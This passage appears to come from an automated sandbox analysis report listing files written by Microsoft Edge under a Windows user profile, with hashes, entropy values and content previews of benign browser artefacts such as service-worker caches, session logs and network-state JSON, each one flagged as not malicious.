Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187417
Entropy (8bit):	6.37982305739296
Encrypted:	false
SSDEEP:	3072:Gn4FFsRLVluuSYwlZkcJG6uNuTHq2vEQxQ273cdL/dlVLzh:wSYwl1J8E2QxTTcdL/5B
MD5:	7AE75CDD8504514676C4196061AFB22E
SHA1:	A307129F651A9FF810A542D8DA7C2C91347DA5EB
SHA-256:	42E7EF2D36E6557E9C83FFB4CE9556A17D6E9C4116F3DB9637D1EA560D5FBE49
SHA-512:	699BC55301FDE35E0112D1DA2DA18AB0DF6FC8FC07DEC39F9FDCBCAD2E9E084C51F01D0330C8E62EFA36E608E3698E0FBA5FE9FEF66419EA837F4679457FD964
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.......yT.........,T.8..`,.....L`.....,T...`......L`......RcBH......exports...Rc..CG....module....Rcn.vj....define....RbF{.t....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......Q.Q.M....D...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=truea........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:rwrXl/lkV/lxEYczcN:srkWBIN
MD5:	0264B9CB0B180873CF343C68410F8C69
SHA1:	854952BD2C13294599BC9D863AF821B3FEF10E46
SHA-256:	4EA4B270E3F240A8751D3DF7CB25715ECD71BF87C1FE6E592CAE6A8F39031E48
SHA-512:	903488C1F7D481232C9304B1DD7BC4E8C3F9BBF460150E040431C25EE0373AB759BD23F2CB15E6888C7D80DA1DAC098DD0BA25BD31CC2F610BF335E4EC306DFC
Malicious:	false
Preview:	@...^J..oy retne.........................X....,................$~..6./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:rwrXl/lkV/lxEYczcN:srkWBIN
MD5:	0264B9CB0B180873CF343C68410F8C69
SHA1:	854952BD2C13294599BC9D863AF821B3FEF10E46
SHA-256:	4EA4B270E3F240A8751D3DF7CB25715ECD71BF87C1FE6E592CAE6A8F39031E48
SHA-512:	903488C1F7D481232C9304B1DD7BC4E8C3F9BBF460150E040431C25EE0373AB759BD23F2CB15E6888C7D80DA1DAC098DD0BA25BD31CC2F610BF335E4EC306DFC
Malicious:	false
Preview:	@...^J..oy retne.........................X....,................$~..6./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4436e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:rwrXl/lkV/lxEYczcN:srkWBIN
MD5:	0264B9CB0B180873CF343C68410F8C69
SHA1:	854952BD2C13294599BC9D863AF821B3FEF10E46
SHA-256:	4EA4B270E3F240A8751D3DF7CB25715ECD71BF87C1FE6E592CAE6A8F39031E48
SHA-512:	903488C1F7D481232C9304B1DD7BC4E8C3F9BBF460150E040431C25EE0373AB759BD23F2CB15E6888C7D80DA1DAC098DD0BA25BD31CC2F610BF335E4EC306DFC
Malicious:	false
Preview:	@...^J..oy retne.........................X....,................$~..6./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6381
Entropy (8bit):	3.406249007657866
Encrypted:	false
SSDEEP:	96:CKR6AP61mlR/15IxQK6AuZd9FZp++8+di3/71V65SLl9iSrY1J5EqaSm:NyEZ5xnz9Lp+BqiT/65SLl9iSrYlE1
MD5:	9992C7E4EB63E1D784DD46A3D98880B2
SHA1:	6AF7EE9BA5878E68F5D842A3FF377CCFF8A18A31
SHA-256:	8855D0AF9838FF202A9FDAAFCDD3CE0ABD577CDFBEE6447F513AED8DA4A91A34
SHA-512:	B7DDC877F8A5D730BD55B5B49AAF79575FB33BF19E9BB508C7EB3557E2930731C2FA363D1DE97CC40BD61190B6DD8B9BB6C0C718F6F9FBFF2FFBAF7053BD60F1
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................<.b................next-map-id.1.Cnamespace-369f1d6d_566b_4cb9_b505_275f4fdaaedb-https://ntp.msn.com/.0.....................map-0-shd_sweeper..{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.p.n.p.w.e.a.t.o.d.a.y.,.p.r.g.-.l.o.c.k.-.m.i.t.-.c.,.s.h.s.t.r.3.c.-.c.,.p.r.g.-.s.p.-.l.a.y.o.u.t.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.a.,.p.r.g.-.1.s.w.-.s.a.b.g.f.c.t.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.d.n.n.-.e.n.c.o.m.b.o._.c.,.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.3.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.-.c.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.o.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.,.p.r.g.-.p.1.-.t.s.4.c.o.l.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.134862836312582
Encrypted:	false
SSDEEP:	6:1QsMq2PN723oH+TcwtrQMxIFUt86Q7hZmw+6QHVFzkwON723oH+TcwtrQMFLJ:1QsMvVaYebCFUt86Q7h/+6QHVFz5OaYM
MD5:	9A872EFA63B2AE25E7AA3DC73E4EC1FA
SHA1:	7E314E83BA77B00FBD4B16FFDD6B86586F409D55
SHA-256:	B8E33E77BBD262C0D3057FB409F7C3490923F9D1E967CE4073BE98F90084FC42
SHA-512:	601EE2F806EE7D04DE018AEF152376F6D6E7BA3EC12B5BEC1E8692A5567A414164C47082ED935BDAD91244BCCE7CEB40ECBEF0EC54BD743BCB47D159EF79E235
Malicious:	false
Preview:	2024/10/29-12:59:31.028 1c64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-12:59:31.030 1c64 Recovering log #3.2024/10/29-12:59:31.034 1c64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.134862836312582
Encrypted:	false
SSDEEP:	6:1QsMq2PN723oH+TcwtrQMxIFUt86Q7hZmw+6QHVFzkwON723oH+TcwtrQMFLJ:1QsMvVaYebCFUt86Q7h/+6QHVFz5OaYM
MD5:	9A872EFA63B2AE25E7AA3DC73E4EC1FA
SHA1:	7E314E83BA77B00FBD4B16FFDD6B86586F409D55
SHA-256:	B8E33E77BBD262C0D3057FB409F7C3490923F9D1E967CE4073BE98F90084FC42
SHA-512:	601EE2F806EE7D04DE018AEF152376F6D6E7BA3EC12B5BEC1E8692A5567A414164C47082ED935BDAD91244BCCE7CEB40ECBEF0EC54BD743BCB47D159EF79E235
Malicious:	false
Preview:	2024/10/29-12:59:31.028 1c64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-12:59:31.030 1c64 Recovering log #3.2024/10/29-12:59:31.034 1c64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374694772692780

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.816299786128155
Encrypted:	false
SSDEEP:	24:3j8k2FPt0psAF4unxS+/ZatLp3X2amEtG1Chq3pwhhj/QKkOAM4d:3j8k2FP6zFLWLp2FEkChapkYHOpU
MD5:	F4BD0DFF15E4EC5CA27A2329C8576E61
SHA1:	4045F08499FC2D2B8568EEE3ADACE583236ECEDE
SHA-256:	595F8AA1B011B211FD980063232486666D16D9E828A95600F13E92D16A2B2364
SHA-512:	8F651910F8B6C42103A34660D60651A219D8E4C7CA8F157460AE98888D6841138AE2854249415857F8A8D97362FEC409035CEB002385E3AF49EA1C26FC24C6CC
Malicious:	false
Preview:	SNSS..........-..............-......"...-..............-..........-..........-..........-....!.....-..................................-...-1..,......-$...369f1d6d_566b_4cb9_b505_275f4fdaaedb......-..........-..................-......-..........................-....................5..0......-&...{46F3A197-DB49-410A-81B3-94975C835573}........-..........-..........................-..............-........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......N.]..%..O.]..%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.112595888508359
Encrypted:	false
SSDEEP:	6:1QoVSQyq2PN723oH+Tcwt7Uh2ghZIFUt86QIG1Zmw+6QIQRkwON723oH+Tcwt7UT:1QISQyvVaYebIhHh2FUt86QIg/+6QIQE
MD5:	6A4A65CC8D5A4310C8BCA2F5AC1A5C8F
SHA1:	72CEDF61A5BAE772A27D2958BB6C69E7B3CA719F
SHA-256:	C843EF536A42866A16F0147DB351CE0313AAC164C9B78C9E5970A8AA369F6C95
SHA-512:	0FC5D2D4907593B21D6017739A091991EDFA99CA91511B8F5FBF83F0AE79D5759EEE760AEF0730696E034327F33E102425F46037A641F5710FE57D210CDC3095
Malicious:	false
Preview:	2024/10/29-12:59:30.281 1f90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-12:59:30.282 1f90 Recovering log #3.2024/10/29-12:59:30.282 1f90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.112595888508359
Encrypted:	false
SSDEEP:	6:1QoVSQyq2PN723oH+Tcwt7Uh2ghZIFUt86QIG1Zmw+6QIQRkwON723oH+Tcwt7UT:1QISQyvVaYebIhHh2FUt86QIg/+6QIQE
MD5:	6A4A65CC8D5A4310C8BCA2F5AC1A5C8F
SHA1:	72CEDF61A5BAE772A27D2958BB6C69E7B3CA719F
SHA-256:	C843EF536A42866A16F0147DB351CE0313AAC164C9B78C9E5970A8AA369F6C95
SHA-512:	0FC5D2D4907593B21D6017739A091991EDFA99CA91511B8F5FBF83F0AE79D5759EEE760AEF0730696E034327F33E102425F46037A641F5710FE57D210CDC3095
Malicious:	false
Preview:	2024/10/29-12:59:30.281 1f90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-12:59:30.282 1f90 Recovering log #3.2024/10/29-12:59:30.282 1f90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.195120582034879
Encrypted:	false
SSDEEP:	12:1Qg+vVaYebvqBQFUt86QqX/+6Qen3V5OaYebvqBvJ:1QpVaYebvZg86QqFQ0OaYebvk
MD5:	30AD852925DCB2E126C2EB52E1C57FE9
SHA1:	97F2685A9C59649E5F142A447EEE5F5BE81E7E32
SHA-256:	071F452940DFF2E136D3865D3E5FA96C20D53982406E52599DE52A0C07EF51B0
SHA-512:	B06FFD245F971E9EBA66BB13160D2C77EC4BEB848A49F52A17F8784B9FEC29CF1C1BC70F8447799716F0C4ED13377DC0E50955E8FEFAB000B60CC2D0C35C8589
Malicious:	false
Preview:	2024/10/29-12:59:31.040 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-12:59:31.042 1cac Recovering log #3.2024/10/29-12:59:31.046 1cac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.195120582034879
Encrypted:	false
SSDEEP:	12:1Qg+vVaYebvqBQFUt86QqX/+6Qen3V5OaYebvqBvJ:1QpVaYebvZg86QqFQ0OaYebvk
MD5:	30AD852925DCB2E126C2EB52E1C57FE9
SHA1:	97F2685A9C59649E5F142A447EEE5F5BE81E7E32
SHA-256:	071F452940DFF2E136D3865D3E5FA96C20D53982406E52599DE52A0C07EF51B0
SHA-512:	B06FFD245F971E9EBA66BB13160D2C77EC4BEB848A49F52A17F8784B9FEC29CF1C1BC70F8447799716F0C4ED13377DC0E50955E8FEFAB000B60CC2D0C35C8589
Malicious:	false
Preview:	2024/10/29-12:59:31.040 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-12:59:31.042 1cac Recovering log #3.2024/10/29-12:59:31.046 1cac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\009f3b25-e578-48e9-a065-58964a506b8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0f811625-d76c-4a4b-aa94-216670ad4dd0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\17f5d813-261d-43da-acf6-0bc4afc8a352.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2edea585-bc3a-4237-9262-3adbe9185fee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3dd61.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3de99.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

